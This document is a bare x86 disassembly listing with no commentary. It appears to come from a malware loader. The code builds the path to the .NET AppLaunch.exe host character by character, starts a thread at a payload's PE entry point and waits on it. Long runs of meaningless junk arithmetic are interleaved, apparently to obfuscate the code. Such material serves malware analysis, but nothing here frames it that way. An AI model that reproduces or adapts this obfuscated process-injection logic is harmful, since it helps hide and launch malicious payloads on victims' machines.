mov word [ebp - 0x54], dx
mov eax, 0x72
mov word [ebp - 0x52], ax
mov ecx, 0x61
mov word [ebp - 0x50], cx
mov edx, 0x6d
mov word [ebp - 0x4e], dx
mov eax, 0x65
mov word [ebp - 0x4c], ax
mov ecx, 0x77
mov word [ebp - 0x4a], cx
mov edx, 0x6f
mov word [ebp - 0x48], dx
mov eax, 0x72
mov word [ebp - 0x46], ax
mov ecx, 0x6b
mov word [ebp - 0x44], cx
mov edx, 0x5c
mov word [ebp - 0x42], dx
mov eax, 0x76
mov word [ebp - 0x40], ax
mov ecx, 0x34
mov word [ebp - 0x3e], cx
mov edx, 0x2e
mov word [ebp - 0x3c], dx
mov eax, 0x30
mov word [ebp - 0x3a], ax
mov ecx, 0x2e
mov word [ebp - 0x38], cx
mov edx, 0x33
mov word [ebp - 0x36], dx
mov eax, 0x30
mov word [ebp - 0x34], ax
mov ecx, 0x33
mov word [ebp - 0x32], cx
mov edx, 0x31
mov word [ebp - 0x30], dx
mov eax, 0x39
mov word [ebp - 0x2e], ax
mov ecx, 0x5c
mov word [ebp - 0x2c], cx
mov edx, 0x41
mov word [ebp - 0x2a], dx
mov eax, 0x70
mov word [ebp - 0x28], ax
mov ecx, 0x70
mov word [ebp - 0x26], cx
mov edx, 0x4c
mov word [ebp - 0x24], dx
mov eax, 0x61
mov word [ebp - 0x22], ax
mov ecx, 0x75
mov word [ebp - 0x20], cx
mov edx, 0x6e
mov word [ebp - 0x1e], dx
mov eax, 0x63
mov word [ebp - 0x1c], ax
mov ecx, 0x68
mov word [ebp - 0x1a], cx
mov edx, 0x2e
mov word [ebp - 0x18], dx
mov eax, 0x65
mov word [ebp - 0x16], ax
mov ecx, 0x78
mov word [ebp - 0x14], cx
mov edx, 0x65
mov word [ebp - 0x12], dx
xor eax, eax
mov word [ebp - 0x10], ax
mov ecx, dword [ebp - 0x90]
cmp dword [ecx + 0xe8], 0
setne dl
mov byte [ebp - 0xbd], dl
movzx eax, byte [ebp - 0xbd]
test eax, eax
je 0x409553
push 8
mov ecx, dword [ebp - 0xa4]
push ecx
lea edx, [ebp - 0xb4]
push edx
call fcn.00401210
add esp, 0xc
mov eax, dword [ebp - 0xa4]
lea ecx, [ebp - 0x88]
mov dword [eax + 4], ecx
lea edx, [ebp - 0x88]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov ecx, dword [ebp - 0xa4]
mov word [ecx], ax
rcl eax, 0xc2
ror esi, 0x2f
dec edi
imul eax
mov ebx, 0xef
inc edi
rol ebx, 0x40
dec edx
and edx, 0x19
inc esi
ror esi, 0xe0
or edi, 0xa1
neg edi
not edx
or edi, 0xa0
inc esi
bswap esi
sbb edx, 0x6e
mov esi, 0x93
sbb edi, 0xf
add ebx, 0xe8
rcr eax, 0x51
mov esi, 0x41
rcr edx, 0xca
rcr esi, 0x70
imul ebx
inc edx
rol edi, 0x8e
rcr esi, 0x7f
dec ebx
ror edi, 0x89
rcr edi, 0x88
not edx
sub ebx, 0x66
neg esi
rol eax, 0x2b
ror edi, 0xe8
neg ebx
bswap edi
sub edi, 1
rcr ebx, 0x18
dec esi
bswap esi
inc ebx
bswap edx
inc edi
bswap eax
rol eax, 0x65
inc esi
inc eax
sub edi, 0xda
and eax, 0x89
neg edx
not edi
imul eax
neg eax
imul edx
inc edx
bswap edi
and ebx, 0x24
add ebx, 2
sub edi, 0x31
mov ebx, 0x6b
imul eax
neg eax
rol edx, 0xf0
inc edx
ror edi, 0xe6
bswap ebx
bswap edx
rcr eax, 0xb4
mov ebx, 0x18
ror esi, 0xfe
sub edx, 0x7c
or esi, 0x18
dec ebx
inc eax
and ebx, 0x78
dec eax
and edi, 0x28
mov esi, 0x3c
rcl edx, 0x9f
inc eax
rcr esi, 0x9d
rol ebx, 0x65
ror edi, 0xa7
rcl ebx, 0x15
bswap edx
sub ebx, 0x77
and eax, 0xfd
ror eax, 0xa2
imul ebx
imul edx
ror eax, 0x73
imul edx
inc edi
and eax, 0xbd
bswap eax
mov ebx, 0x42
not esi
not eax
or edi, 0x66
imul esi
ror eax, 0x98
not esi
sbb ebx, 0xb6
mov edi, 0xd2
not edi
dec edi
imul eax
dec eax
or esi, 0x25
bswap ebx
dec esi
imul eax
not ebx
sbb ebx, 0xba
not edx
bswap esi
ror eax, 0xd9
add eax, 0xd9
dec edx
rcr edi, 0x1d
sub ebx, 0x5f
add edx, 0x8e
or esi, 0x5c
not edi
rcr esi, 0x38
not esi
dec esi
add edi, 0x9c
ror ebx, 0x3c
not edx
dec esi
rcr eax, 0x96
imul edx
bswap eax
and ebx, 0x35
inc edx
rcl esi, 0xfc
imul edi
inc edx
not esi
rcr eax, 0x38
bswap eax
inc edi
sub edx, 0x61
not esi
mov esi, 0x65
mov eax, 0x15
push 0
push 0
push 0
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + 0x28]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xac], eax
movzx ecx, byte [ebp - 0xbd]
test ecx, ecx
je 0x409733
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 8
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xa4]
push eax
call fcn.00401210
add esp, 0xc
push 0xffffffffffffffff
mov ecx, dword [ebp - 0xac]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
rcl edi, 0x5a
mov esi, 0x9f
dec edx
and eax, 0x28
sbb eax, 0x3d
inc ebx
not edx
add ebx, 0x49
imul eax
rcl ebx, 0x33
bswap esi
and edx, 0xe1
not edi
imul edx
add eax, 0x6b
inc edi
rcl edi, 0x6f
imul edx
or esi, 0x24
inc edx
inc eax
or eax, 0x2b
rcl esi, 0x46
bswap ebx
imul esi
rcr edx, 0x61
bswap esi
inc esi
not edx
inc eax
not eax
ror edx, 0x6b
neg edx
or eax, 0x1b
rol eax, 0x2d
inc edi
ror edi, 0x2a
sbb edi, 0xa2
bswap esi
dec edx
and edx, 0x5d
mov esi, 0x63
dec esi
dec eax
rcr esi, 0x81
sub edi, 0x14
neg edi
sub eax, 9
and edi, 6
not edi
bswap edi
bswap ebx
ror esi, 0x1c
sbb edx, 0xd9
rcr ebx, 0x2e
or edx, 0x86
neg eax
rol edx, 0x6f
inc eax
or edi, 0xf7
not esi
inc eax
sbb edx, 0xaf
sub ebx, 0x99
and ebx, 0xf
and edx, 0x78
rcl ebx, 0x16
mov ebx, 0x62
sbb edx, 0x99
sbb edx, 0xde
ror eax, 0x14
add edi, 0xa9
neg esi
neg edx
rcl esi, 0x33
sub edi, 0x36
ror edi, 0xb4
add edx, 0x33
add esi, 0xb6
ror eax, 0x9f
ror edi, 0xa9
sbb edx, 0xfb
imul eax
not edx
dec esi
neg eax
rol ebx, 0xc6
ror esi, 0x77
imul eax
and esi, 0xde
bswap esi
add ebx, 0x1f
sub ebx, 0xf5
not edx
neg eax
and edi, 0x31
or edi, 0xe0
inc edx
inc esi
inc esi
imul edi
bswap ebx
sub edx, 0x1f
and edx, 0x6c
neg ebx
add edi, 0x89
bswap edi
not edx
imul eax
bswap ebx
imul ebx
rcl ebx, 0x41
mov eax, 0x45
bswap eax
add eax, 0xcb
inc edx
neg edi
rcr eax, 0x4d
inc esi
neg edi
imul esi
imul ebx
dec ebx
mov edi, 0xb0
and esi, 0x84
ror ebx, 0xbd
dec edx
inc ebx
dec ebx
imul esi
imul edx
imul edi
dec edi
neg ebx
imul edi
bswap esi
rol eax, 0xcc
or eax, 0xf4
sbb esi, 0xf9
and edi, 0xb9
ror edi, 0xba
sbb ebx, 0x2e
dec edi
inc edx
dec esi
ror esi, 0x9d
ror edx, 0xd9
sub ebx, 0xcd
imul ebx
not esi
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret